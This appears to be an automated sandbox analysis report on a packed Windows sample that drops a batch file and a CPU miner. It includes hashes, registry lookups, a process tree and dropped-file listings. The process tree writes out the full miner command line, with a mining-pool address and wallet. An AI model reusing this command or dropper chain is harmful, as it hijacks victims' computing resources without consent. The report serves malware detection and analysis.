73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 13:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2008	b2e.exe
4344	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2296-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2008	2296	batexe.exe	89
PID 2296 wrote to memory of 2008	2296	batexe.exe	89
PID 2296 wrote to memory of 2008	2296	batexe.exe	89
PID 2008 wrote to memory of 5080	2008	b2e.exe	90
PID 2008 wrote to memory of 5080	2008	b2e.exe	90
PID 2008 wrote to memory of 5080	2008	b2e.exe	90
PID 5080 wrote to memory of 4344	5080	cmd.exe	93
PID 5080 wrote to memory of 4344	5080	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Users\Admin\AppData\Local\Temp\8D9A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8D9A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8D9A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\91C0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8D9A.tmp\b2e.exe

Filesize
10.0MB

MD5
1986ff4ccd4a47efd361224e101a4c15

SHA1
4ab073d9f0dfec1e822b742eb332220e8efe48e1

SHA256
87f627e4f982b64998012441ae90a38eda875d5b72f4273a03e995c3d041d212

SHA512
8733fddf938c274dfa9780721177675d024bea4a0a7c07fc27d7d54d4d4c6f82d3888052d5df19891769f68b9d40e5e3755c08eda45aed7fa0c0082d666a9262

Download Submit
C:\Users\Admin\AppData\Local\Temp\8D9A.tmp\b2e.exe

Filesize
2.2MB

MD5
b6a558633dc13e01c86f714214bdd894

SHA1
95921cb72467d2a69885d7987fa6990ed3756e81

SHA256
85cd30b679653b5cc0ca0c6cb9e56e841122391168a2237121da79b28b9fd507

SHA512
d55e570830a21e8ffe9d7a769576afce67fa05396d4450818bfa45132e1f10e5bf8f10026e9fa621f0451f8908d7c9bff9590f64a85d5048af173f5e529aa7c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\8D9A.tmp\b2e.exe

Filesize
2.0MB

MD5
88bdfb2f0685995bb5cab6d6cb293d35

SHA1
451ca5bd52ed01f049057e7c7b06d26436cb9eef

SHA256
ee427536c9f5f8e65ab4b2eed58e5e542118d78138eee5ac6614dcc3e3aba6b5

SHA512
abb7170ffbba4318590fc75a4296d21fa2985c4b7ee5f85dbcdd32e94a8e13153f338feea932df6c674fa14badf8ae00200c65497a4d441e8c02e48da1533148

Download Submit
C:\Users\Admin\AppData\Local\Temp\91C0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.1MB

MD5
fa447f5818e7087ae0fe0d536d473ddc

SHA1
1d77af30b6b6e7c23af9b6ea83cbeea40f9d943c

SHA256
93b5c3754c439072bdb423597f07c1a7afc63816eb899d1b1f32dd675ee74e21

SHA512
04b0f33cca126a6e911d714fb982db6071e4fb07a32b8854b0c041fc8e41bab170c849cb25eeee89251328a8f7f34b950c762f9bad1e08b8461db42208dbe33e

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
18cdaeafc4d9303515327edc3144fa1b

SHA1
b76e4521054894077c8d9dc715b52a64579ea48a

SHA256
1a5f5f7e590e47c947a572c2625a72ce9c3f851bcd346639cd394406f5d9cecd

SHA512
97d6125b00406813917799f37af30a0c3224b7686bd112b7790aadf0e57a307597a3b8873762337d70b77e971e9fc8b8a75d051f790a9257cfe19f79c65848b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
06c79c82c6994293a6e02bcb4508f5ee

SHA1
f49e3ece8251439345f631c24a289540029c696e

SHA256
d223377f4ee9511c4cf68453097fdf837055435832af68f6c89ab90deedb949f

SHA512
a231fc250773d688b0ebef71a38b690557b316b60d62a806f89b746b6290faa7d9ed902ac5103da22bdb9c09980711cd2b4dbeb87975b9f81d64c086f2a3deab

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
dd351579ff3b3b635c6124cdc512fa50

SHA1
78a173b6e6151042a85c21a7a2aa051bef9d728e

SHA256
e255248b8cadfe7b3519229f191ce1ed720a9caf880adef2944a5902f43a0223

SHA512
002a80fa50bf38b071e2c8ca8f39207cee526f3aed705dd4fa3c9ff446337ab526095787c838b30ee7dbb2398c44236c353d30151834399233c5f475af1dd793

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2008-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2008-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2296-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4344-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4344-46-0x00000000609A0000-0x0000000060A38000-memory.dmp

Filesize
608KB

Download
memory/4344-47-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/4344-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4344-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download